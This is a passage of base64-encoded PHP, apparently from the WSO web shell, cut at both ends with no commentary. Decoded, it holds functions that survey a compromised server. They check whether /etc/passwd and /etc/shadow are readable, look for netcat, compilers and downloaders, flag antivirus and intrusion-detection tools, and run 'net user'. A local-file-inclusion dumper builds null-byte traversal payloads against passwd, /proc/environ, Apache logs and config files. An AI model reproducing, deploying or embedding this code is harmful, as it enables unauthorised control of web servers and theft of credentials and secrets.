DogJy0nKTsgDQogICAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsgDQogICAgcmV0dXJuICRpOyANCn0gDQogIA0KZnVuY3Rpb24gd3NvUGVybXNDb2xvcigkZikgeyANCiAgICBpZiAoIUBpc19yZWFkYWJsZSgkZikpIA0KICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsgDQogICAgZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkgDQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsgDQogICAgZWxzZQ0KICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSMwMEJCMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsgDQp9IA0KICANCmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgeyANCiAgICBmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsgDQogICAgICAgICRkaCAgPSBvcGVuZGlyKCRkaXIpOyANCiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkgDQogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsgDQogICAgICAgIHJldHVybiAkZmlsZXM7IA0KICAgIH0gDQp9IA0KICANCmZ1bmN0aW9uIHdzb1doaWNoKCRwKSB7IA0KICAgICRwYXRoID0gd3NvRXgoJ3doaWNoICcgLiAkcCk7IA0KICAgIGlmKCFlbXB0eSgkcGF0aCkpIA0KICAgICAgICByZXR1cm4gJHBhdGg7IA0KICAgIHJldHVybiBmYWxzZTsgDQp9IA0KICANCmZ1bmN0aW9uIGFjdGlvblNlY0luZm8oKSB7IA0KICAgIHdzb0hlYWRlcigpOyANCiAgICBlY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsgDQogICAgZnVuY3Rpb24gd3NvU2VjUGFyYW0oJG4sICR2KSB7IA0KICAgICAgICAkdiA9IHRyaW0oJHYpOyANCiAgICAgICAgaWYoJHYpIHsgDQogICAgICAgICAgICBlY2hvICc8c3Bhbj4nIC4gJG4gLiAnOiA8L3NwYW4+JzsgDQogICAgICAgICAgICBpZihzdHJwb3MoJHYsICJcbiIpID09PSBmYWxzZSkgDQogICAgICAgICAgICAgICAgZWNobyAkdiAuICc8YnI+JzsgDQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+JyAuICR2IC4gJzwvcHJlPic7IA0KICAgICAgICB9IA0KICAgIH0gDQogIA0KICAgIHdzb1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7IA0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykpIA0KICAgICAgICB3c29TZWNQYXJhbSgnTG9hZGVkIEFwYWNoZSBtb2R1bGVzJywgaW1wbG9kZSgnLCAnLCBhcGFjaGVfZ2V0X21vZHVsZXMoKSkpOyANCiAgICB3c29TZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddPyRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddOidub25lJyk7IA0KICAgIHdzb1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsgDQogICAgd3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7IA0KICAgIHdzb1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOyANCiAgICB3c29TZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7IA0KICAgICR0ZW1wPWFycmF5KCk7IA0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpIA0KICAgICAgICAkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsgDQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIA0KICAgICAgICAkdGVtcFtdID0gIk1TU1FMIjsgDQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIA0KICAgICAgICAkdGVtcFtdID0gIlBvc3RncmVTUUwiOyANCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpIA0KICAgICAgICAkdGVtcFtdID0gIk9yYWNsZSI7IA0KICAgIHdzb1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOyANCiAgICBlY2hvICc8YnI+JzsgDQogIA0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7IA0KICAgICAgICB3c29TZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsgDQogICAgICAgIHdzb1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsgDQogICAgICAgIHdzb1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOyANCiAgICAgICAgd3NvU2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOyANCiAgICAgICAgaWYoISRHTE9CQUxTWydzYWZlX21vZGUnXSkgeyANCiAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOyANCiAgICAgICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOyANCiAgICAgICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOyANCiAgICAgICAgICAgIGVjaG8gJzxicj4nOyANCiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7IA0KICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJmdWwgYXMgJGl0ZW0pIA0KICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkgDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsgDQogICAgICAgICAgICB3c29TZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOyANCiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7IA0KICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkgDQogICAgICAgICAgICAgICAgaWYod3NvV2hpY2goJGl0ZW0pKSANCiAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOyANCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsgDQogICAgICAgICAgICAkdGVtcD1hcnJheSgpOyANCiAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkgDQogICAgICAgICAgICAgICAgaWYod3NvV2hpY2goJGl0ZW0pKSANCiAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOyANCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOyANCiAgICAgICAgICAgIGVjaG8gJzxici8+JzsgDQogICAgICAgICAgICB3c29TZWNQYXJhbSgnSEREIHNwYWNlJywgd3NvRXgoJ2RmIC1oJykpOyANCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsgDQogICAgICAgIH0gDQogICAgfSBlbHNlIHsgDQogICAgICAgIHdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOyANCiAgICAgICAgd3NvU2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLHdzb0V4KCduZXQgYWNjb3VudHMnKSk7IA0KICAgICAgICB3c29TZWNQYXJhbSgnVXNlciBBY2NvdW50cycsd3NvRXgoJ25ldCB1c2VyJykpOyANCiAgICB9IA0KICAgIGVjaG8gJzwvZGl2Pic7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQpmdW5jdGlvbiBhY3Rpb25sZmlzY2FuKCkgeyANCiAgICB3c29IZWFkZXIoKTsgDQogICAgcHJpbnQgJyANCiAgIDxoMz5MZWQtWmVwcGVsaW5cJ3MgTEZJIEZpbGUgZHVtcGVyPC9oMz4gDQogIA0KICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij8iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsZmlzY2FuIj4gDQogICAgICBMRkkgVVJMOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNjAiIG5hbWU9ImxmaXVybCIgdmFsdWU9IiI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+IEZpbGU6IDxzZWxlY3QgbmFtZT0ic2NhbnR5cGUiPiANCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPiANCiAgICAgICAgICAgIEFjY2VzcyBMb2cgDQogICAgICAgICA8L29wdGlvbj4gDQogIA0KICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMiI+IA0KICAgICAgICAgICAgaHR0cGQuY29uZiANCiAgICAgICAgIDwvb3B0aW9uPiANCiAgDQogICAgICAgICA8b3B0aW9uIHZhbHVlPSIzIj4gDQogICAgICAgICAgICBFcnJvciBMb2cgDQogICAgICAgICA8L29wdGlvbj4gDQogICAgICAgICA8b3B0aW9uIHZhbHVlPSI0Ij4gDQogICAgICAgICAgICBwaHAuaW5pIA0KICAgICAgICAgPC9vcHRpb24+IA0KICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNSI+IA0KICAgICAgICAgICAgTXlTUUwgDQogICAgICAgICA8L29wdGlvbj4gDQogICAgICAgICA8b3B0aW9uIHZhbHVlPSI2Ij4gDQogICAgICAgICAgICBGVFAgDQogICAgICAgICA8L29wdGlvbj4gDQogICAgICAgICA8b3B0aW9uIHZhbHVlPSI3Ij4gDQogICAgICAgICAgICBFbnZpcm9uIA0KICAgICAgICAgPC9vcHRpb24+IA0KICAgICAgPC9zZWxlY3Q+IE51bGw6IDxzZWxlY3QgbmFtZT0ibnVsbCI+IA0KICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iJTAwIj4gDQogICAgICAgICAgICBZZXMgDQogICAgICAgICA8L29wdGlvbj4gDQogIA0KICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iIj4gDQogICAgICAgICAgICBObyANCiAgICAgICAgIDwvb3B0aW9uPiANCiAgICAgIDwvc2VsZWN0PiBVc2VyLUFnZW50OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImN1c3RvbV9oZWFkZXIiIHZhbHVlPSIiPiANCiAgIDwvZm9ybT4nOyANCiAgIGVycm9yX3JlcG9ydGluZygwKTsgDQogICAgICBpZigkX1BPU1RbJ2xmaXVybCddKSB7IA0KICAgICAgICAgcHJpbnQgIjxwcmU+IjsgDQogICAgICAgICAkY2hlYWRlciA9ICRfUE9TVFsnY3VzdG9tX2hlYWRlciddOyANCiAgICAgICAgICR0YXJnZXQgPSAkX1BPU1RbJ2xmaXVybCddOyANCiAgICAgICAgICR0eXBlID0gJF9QT1NUWydzY2FudHlwZSddOyANCiAgICAgICAgICRieXRlMSA9ICRfUE9TVFsnbnVsbCddOyANCiAgICAgICAgICRsZml0ZXN0ID0gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiLiRieXRlMS4iIjsgDQogICAgICAgICAkbGZpdGVzdDIgPSAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmFrZS9maWxlIi4kYnl0ZTEuIiI7IA0KICAgICAgICAgJGxmaXByb2NlbnYgPSAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vcHJvYy9lbnZpcm9uIi4kYnl0ZTEuIiI7IA0KICAgICAgICAgJGxmaWFjY2VzcyA9IGFycmF5KCANCiAgICAgICAgICAgIDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2FwYWNoZS9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvbG9ncy9hY2Nlc19sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvbG9ncy9hY2Nlcy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2xvZ3MvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZTIvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZS9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlMi9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2FwYWNoZTIvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvaHR0cGQvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQvbGFtcHAvbG9ncy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2xhbXBwL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQveGFtcHAvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIpOyANCiAgICAgICAgIA0KICAgICAgICAgJGxmaWVycm9yID0gYXJyYXkoIA0KICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYXBhY2hlL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlMi9lcnJvcl9sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvZXJyb3IubG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlMi9lcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9lcnJvcl9sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9lcnJvci5sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9odHRwZC9lcnJvcl9sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYXBhY2hlMi9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDE5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2h0dHBkL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQvbGFtcHAvbG9ncy9lcnJvcl9sb2ciLiRieXRlMS4iIiwgDQogICAgICAgICAgICAyMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3hhbXBwL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMjIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9sYW1wcC9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQveGFtcHAvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIik7IA0KICANCiAgICAgICAgICRsZmljb25maWcgPSBhcnJheSggDQogICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9hcGFjaGUyL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2h0dHBkL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsIA0KICAgICAgICAgICAgMTEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvaHR0cGQ